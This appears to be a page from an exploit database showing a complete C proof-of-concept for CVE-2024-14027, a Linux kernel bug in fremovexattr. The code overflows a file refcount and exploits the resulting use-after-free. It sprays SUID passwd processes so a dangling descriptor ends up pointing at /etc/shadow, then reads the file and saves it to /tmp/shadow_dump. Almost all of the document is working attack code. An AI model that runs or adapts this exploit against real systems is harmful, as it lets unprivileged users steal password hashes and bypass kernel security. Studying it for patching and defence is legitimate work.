5465 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / exploit.c C
/*
 * CVE-2024-14027 Exploit
 * fremovexattr fdput leak → refcount overflow → UAF → same-type object reuse
 * Target: Linux 6.6.51 i386 (QEMU, no SMEP/SMAP, no KASLR)
 *
 * Strategy:
 *   1. Create all pipes FIRST (so their struct files don't pollute cpu_slab)
 *   2. Open target file, dup → f_count = 2 (on current cpu_slab)
 *   3. clone(CLONE_FILES) for fdget slow path during overflow
 *   4. Overflow f_count via fremovexattr bug
 *   5. Fork spawner/closer BEFORE free (no new struct file allocs)
 *   6. Free via closer+parent+spawner close sequence
 *   7. Freed struct file stays on cpu_slab per-cpu freelist (key fix!)
 *   8. passwd spray churns slab → /etc/shadow lands in freed slot
 *   9. Sacrificial child checks stale fd via stat/inode match → reads shadow
 *
 * Monitoring pattern from CVE-2022-22942 (minipli):
 *   - stat() victim file to get dev/ino before exploit
 *   - Fork sacrificial child to probe stale fd (handles kernel oopses)
 *   - Child uses fcntl(F_GETFL) + fstat() + dev/ino compare
 *   - Parent survives oopses, retries with new child
 *
 * Compile: gcc -m32 -static -O2 -o exploit exploit.c
 */
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sched.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <sys/sysmacros.h>

#define TARGET_LEAKS    0xFFFFFFFEUL
#define SLACK           10000000UL

#define NUM_WORKERS     3
#define STACK_SIZE      (64 * 1024)

#define VICTIM_FILE     "/etc/shadow"
#define VICTIM_HELPER   "/usr/bin/passwd"
#define NUM_PROCS       10

extern char **environ;

static volatile unsigned long leak_count;
static volatile int go;
static volatile int stop_workers;
static int target_fd;
static int dangling_fd;

static dev_t victim_dev;
static ino_t victim_ino;

static inline long fast_fremovexattr(int fd, const void *name)
{
    long ret;
    __asm__ volatile("int $0x80"
                     : "=a"(ret)
                     : "a"(237), "b"(fd), "c"(name)
                     : "memory");
    return ret;
}

/* ------------------------------------------------------------------ */
/* Leak worker: tight fremovexattr loop                                */
/* ------------------------------------------------------------------ */
static int leak_worker(void *arg)
{
    unsigned long local = 0;
    int fd = target_fd;
    (void)arg;

    cpu_set_t all;
    CPU_ZERO(&all);
    for (int i = 0; i < 4; i++) CPU_SET(i, &all);
    sched_setaffinity(0, sizeof(all), &all);

    while (!go)
        __asm__ volatile("pause");

    while (!stop_workers) {
        fast_fremovexattr(fd, (const void *)0x1UL);
        local++;
        if ((local & 0xFFFFF) == 0)
            __sync_fetch_and_add(&leak_count, 0x100000);
    }

    __sync_fetch_and_add(&leak_count, local & 0xFFFFF);
    _exit(0);
    return 0;
}

/* ------------------------------------------------------------------ */
/* idle_fn: keeps fd table shared so fdget takes slow path             */
/* ------------------------------------------------------------------ */
static int idle_fn(void *arg)
{
    (void)arg;
    for (;;) pause();
    return 0;
}

/* ------------------------------------------------------------------ */
/* fd_closer: forked BEFORE free, closes inherited fds to trigger free */
/* ------------------------------------------------------------------ */
static void fd_closer(int ready_fd)
{
    if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
        _exit(1);

    close(target_fd);
    close(dangling_fd);

    write(ready_fd, "R", 1);
    close(ready_fd);

    for (;;) pause();
}

/* ------------------------------------------------------------------ */
/* passwd_spawner: continuously fork+exec "passwd -S" as root          */
/* ------------------------------------------------------------------ */
static void passwd_spawner(int pipe_rd, int pipe_wr, int freed_wr)
{
    char *argv[] = { VICTIM_HELPER, "-S", NULL };
    int procs = 0;
    char ch;

    if (prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0) < 0)
        _exit(1);

    /* Signal ready */
    if (write(pipe_wr, "1", 1) <= 0)
        _exit(1);

    /* Wait for "go" signal */
    if (read(pipe_rd, &ch, sizeof(ch)) <= 0)
        _exit(1);

    /* Close our refs to the target file → triggers __fput → slab freed */
    close(target_fd);
    close(dangling_fd);

    /* Signal parent that we've freed the struct file */
    write(freed_wr, "F", 1);
    close(freed_wr);

    /* Close stdio to minimize noise */
    close(0); close(1); close(2);

    for (;;) {
        switch (fork()) {
            case -1:
                usleep(1);
                break;
            case 0:
                execve(VICTIM_HELPER, argv, environ);
                _exit(1);
            default:
                procs++;
        }

        if (procs >= NUM_PROCS) {
            if (wait(NULL) > 0)
                procs--;
            while (waitpid(-1, NULL, WNOHANG) > 0)
                procs--;
        }
    }
}

/* ------------------------------------------------------------------ */
/* check_fd: runs in sacrificial child, checks if stale fd is shadow   */
/* ------------------------------------------------------------------ */
static void check_fd(void)
{
    const int shadow_flags = O_RDONLY;
    char buf[64 * 1024];
    struct stat sb;
    int flags;

    for (;;) {
        usleep(1);

        /* passwd opens /etc/shadow with O_RDONLY */
        flags = fcntl(dangling_fd, F_GETFL);
        if (flags < 0 || (flags & O_ACCMODE) != shadow_flags)
            continue;

        if (fstat(dangling_fd, &sb) != 0)
            continue;

        if (sb.st_dev == victim_dev && sb.st_ino == victim_ino) {
            ssize_t cnt = pread(dangling_fd, buf, sizeof(buf) - 1, 0);

            if (cnt > 0) {
                buf[cnt] = '\0';
                /* Write to file first (survives kernel log noise) */
                int out = open("/tmp/shadow_dump", O_WRONLY | O_CREAT | O_TRUNC, 0600);
                if (out >= 0) {
                    write(out, buf, cnt);
                    close(out);
                }
                printf("\n\n========================================\n");
                printf(" SUCCESS! Read %s via stale fd %d (%zd bytes)\n",
                       VICTIM_FILE, dangling_fd, cnt);
                printf("========================================\n\n");
                printf("%s\n", buf);
                printf("\n[+] Shadow data also saved to /tmp/shadow_dump\n");
                _exit(0);
            }
        }
    }
}

/* ------------------------------------------------------------------ */
/* Main                                                                */
/* ------------------------------------------------------------------ */
int main(void)
{
    pid_t worker_pids[NUM_WORKERS];
    pid_t idle_child;

    setbuf(stdout, NULL);

    printf("[*] CVE-2024-14027 exploit — PID %d\n", getpid());
    printf("[*] Strategy: refcount overflow → UAF → slab reuse polling\n");
    printf("[*] SLUB fix: pipes before target → freed slot stays on cpu_slab\n\n");

    /* Verify SUID helper exists */
    struct stat st;
    if (stat(VICTIM_HELPER, &st) != 0) {
        printf("[!] %s not found\n", VICTIM_HELPER);
        return 1;
    }
    if (!(st.st_uid == 0 && (st.st_mode & 04111) == 04111)) {
        printf("[!] %s is not SUID root (uid=%d mode=%o)\n",
               VICTIM_HELPER, st.st_uid, st.st_mode);
        return 1;
    }
    printf("[+] %s is SUID root\n", VICTIM_HELPER);

    /* Gather stat info for victim file (dev/ino for check_fd match) */
    {
        struct stat vsb;
        if (stat(VICTIM_FILE, &vsb) < 0) {
            perror("[!] stat(" VICTIM_FILE ")");
            return 1;
        }
        victim_dev = vsb.st_dev;
        victim_ino = vsb.st_ino;
        printf("[+] %s: dev=(%d,%d) ino=%lu\n", VICTIM_FILE,
               major(victim_dev), minor(victim_dev), (unsigned long)victim_ino);
    }

    /* Pin to CPU 0 for consistent SLUB cpu_slab */
    cpu_set_t cpu0;
    CPU_ZERO(&cpu0);
    CPU_SET(0, &cpu0);
    sched_setaffinity(0, sizeof(cpu0), &cpu0);

    /* ---- Phase 1: Create ALL pipes FIRST ----
     * These allocate struct files from the filp slab cache.
     * By doing this BEFORE opening the target file, the target's
     * struct file will be allocated on whatever cpu_slab page is
     * current AFTER these allocations. Then no more filp allocs
     * happen until the target is freed, so the cpu_slab stays put. */
    int spawn_pipes[2][2];
    int closer_pipe[2];
    int freed_pipe[2];

    if (pipe(spawn_pipes[0]) < 0 || pipe(spawn_pipes[1]) < 0 ||
        pipe(closer_pipe) < 0 || pipe(freed_pipe) < 0) {
        perror("[!] pipe");
        return 1;
    }
    printf("[+] All pipes created (8 struct files allocated from filp cache)\n");

    /* ---- Phase 2: Open target file ----
     * This struct file goes on the CURRENT cpu_slab.
     * No more filp allocs will happen until this is freed. */
    target_fd = open("/tmp/exploit_target", O_RDWR | O_CREAT | O_TRUNC, 0666);
    if (target_fd < 0) { perror("[!] open"); return 1; }

    dangling_fd = dup(target_fd);
    if (dangling_fd < 0) { perror("[!] dup"); return 1; }

    printf("[+] target_fd=%d  dangling_fd=%d  (f_count=2)\n", target_fd, dangling_fd);

    /* Clone idle child for fdget slow path during overflow */
    {
        void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
                           MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
        if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
        idle_child = clone(idle_fn, (char *)stack + STACK_SIZE,
                           CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
        if (idle_child < 0) { perror("[!] clone idle"); return 1; }
    }

    /* ---- Phase 3: Overflow f_count ---- */
    int fast_mode = (access("/tmp/fast_mode", F_OK) == 0);

    if (fast_mode) {
        printf("[*] FAST MODE enabled (/tmp/fast_mode exists)\n");
        printf("[*] Doing 100 leaks to verify bug...\n");
        for (int i = 0; i < 100; i++)
            fast_fremovexattr(target_fd, (const void *)0x1UL);
        printf("[*] f_count should be 102 now.\n");
        printf("[*] Calling sync() — GDB: break __do_sys_sync, set f_count = 1\n");
        fflush(NULL);
        sync();
        printf("[*] Continuing after GDB intervention...\n");
    } else {
        printf("[*] Spawning %d leak workers...\n", NUM_WORKERS);
        for (int i = 0; i < NUM_WORKERS; i++) {
            void *stack = mmap(NULL, STACK_SIZE, PROT_READ | PROT_WRITE,
                               MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
            if (stack == MAP_FAILED) { perror("[!] mmap"); return 1; }
            worker_pids[i] = clone(leak_worker, (char *)stack + STACK_SIZE,
                                   CLONE_VM | CLONE_FILES | SIGCHLD, NULL);
            if (worker_pids[i] < 0) { perror("[!] clone worker"); return 1; }
        }

        unsigned long target_bulk = TARGET_LEAKS - SLACK;
        printf("[*] Starting overflow: need %lu leaks (%.2fG)\n",
               TARGET_LEAKS, TARGET_LEAKS / 1e9);

        go = 1;
        __sync_synchronize();

        unsigned long last = 0;
        while (leak_count < target_bulk) {
            usleep(2000000);
            unsigned long cur = leak_count;
            double pct = 100.0 * cur / TARGET_LEAKS;
            double rate = (cur - last) / 2.0 / 1e6;
            unsigned long remaining = TARGET_LEAKS - cur;
            double eta = (rate > 0) ? remaining / (rate * 1e6) : 9999;
            printf("\r[*] %luM / 4294M (%.1f%%)  %.1fM/s  ETA %.0fs   ",
                   cur / 1000000, pct, rate, eta);
            last = cur;
        }

        stop_workers = 1;
        __sync_synchronize();

        for (int i = 0; i < NUM_WORKERS; i++)
            waitpid(worker_pids[i], NULL, 0);

        unsigned long done = leak_count;
        printf("\n[*] Workers done: %lu leaks.\n", done);

        if (done < TARGET_LEAKS) {
            unsigned long remain = TARGET_LEAKS - done;
            printf("[*] Finishing remaining %lu precisely...\n", remain);
            for (unsigned long i = 0; i < remain; i++) {
                fast_fremovexattr(target_fd, (const void *)0x1UL);
                if ((i & 0xFFFFF) == 0 && i > 0)
                    printf("\r[*] precise: %luM / %luM   ", i / 1000000, remain / 1000000);
            }
            printf("\r[*] Precise finish done (%luM leaks)   \n", remain / 1000000);
        } else {
            unsigned long extra = done - TARGET_LEAKS;
            unsigned long fixup = (0x100000000UL - extra) & 0xFFFFFFFFUL;
            printf("[*] Workers overshot by %lu, doing %lu fixup leaks...\n", extra, fixup);
            for (unsigned long i = 0; i < fixup; i++)
                fast_fremovexattr(target_fd, (const void *)0x1UL);
        }
    }

    /* Kill idle child → files->count drops to 1 → fast-path fdget */
    kill(idle_child, SIGKILL);
    waitpid(idle_child, NULL, 0);
    printf("[*] Idle child reaped → fast-path fdget (files->count=1)\n");
    printf("[+] %s complete. Proceeding to free + spray + poll\n",
           fast_mode ? "GDB fast-forward" : "Overflow");

    /* Phase 4: Fork spawner and closer BEFORE the free */
    printf("[*] Forking passwd_spawner...\n");
    pid_t spawner_pid = fork();
    if (spawner_pid == 0) {
        close(spawn_pipes[0][1]);
        close(spawn_pipes[1][0]);
        close(closer_pipe[0]);
        close(closer_pipe[1]);
        close(freed_pipe[0]);
        passwd_spawner(spawn_pipes[0][0], spawn_pipes[1][1], freed_pipe[1]);
        _exit(0);
    }
    if (spawner_pid < 0) { perror("[!] fork spawner"); return 1; }

    /* Parent: close spawner's pipe ends */
    close(spawn_pipes[0][0]);
    close(spawn_pipes[1][1]);
    close(freed_pipe[1]);

    /* Wait for spawner ready */
    char ch;
    if (read(spawn_pipes[1][0], &ch, 1) != 1) {
        printf("[!] spawner failed to signal ready\n");
        kill(spawner_pid, SIGKILL);
        return 1;
    }
    close(spawn_pipes[1][0]);
    printf("[+] passwd_spawner ready (PID %d)\n", spawner_pid);

    /* Fork fd_closer */
    pid_t closer_pid = fork();
    if (closer_pid == 0) {
        close(closer_pipe[0]);
        close(spawn_pipes[0][1]);
        close(freed_pipe[0]);
        fd_closer(closer_pipe[1]);
        _exit(0);
    }
    if (closer_pid < 0) { perror("[!] fork closer"); return 1; }

    close(closer_pipe[1]);

    /* Wait for closer to finish closing its inherited fds */
    char ready;
    if (read(closer_pipe[0], &ready, 1) != 1) {
        printf("[!] fd_closer failed to signal ready\n");
        kill(closer_pid, SIGKILL);
        return 1;
    }
    close(closer_pipe[0]);

    /* Parent closes target_fd (keeps dangling_fd for polling) */
    close(target_fd);
    printf("[+] fd_closer done, parent target_fd closed.\n");

    /* Signal spawner to go (it will close its fds → trigger free → start spray) */
    printf("[*] Signaling spawner: close fds → free struct file → start spray\n");
    write(spawn_pipes[0][1], "G", 1);
    close(spawn_pipes[0][1]);

    /* Wait for spawner to confirm struct file is freed */
    char freed_ch;
    if (read(freed_pipe[0], &freed_ch, 1) != 1) {
        printf("[!] WARNING: spawner didn't signal freed (may still work)\n");
    }
    close(freed_pipe[0]);
    printf("[+] Struct file freed! Spawner starting passwd spray on CPU 0\n");

    /* Phase 5: Monitor stale fd in sacrificial subprocess
     *
     * Pattern from CVE-2022-22942: fork a child to probe the stale fd.
     * If the child oopses (kernel NULL deref on stale pointers), only
     * the child dies — parent survives and forks another.
     * Child uses fcntl(F_GETFL) + fstat() to match against /etc/shadow
     * dev/ino before attempting to read. */
    printf("[*] Monitoring stale fd %d...", dangling_fd);
    fflush(NULL);
    for (;;) {
        pid_t pid = fork();
        int status;

        switch (pid) {
            case  0: check_fd(); /* never returns on success (_exit(0)) */
            case -1: usleep(10);
                     continue;
        }

        if (waitpid(pid, &status, 0) < 0)
            continue;

        if (WIFEXITED(status) && WEXITSTATUS(status) == 0) {
            /* Child found and printed /etc/shadow */
            kill(spawner_pid, SIGKILL);
            kill(closer_pid, SIGKILL);
            while (waitpid(-1, NULL, WNOHANG) > 0);
            return 0;
        }

        putchar('+');
        fflush(NULL);
    }
}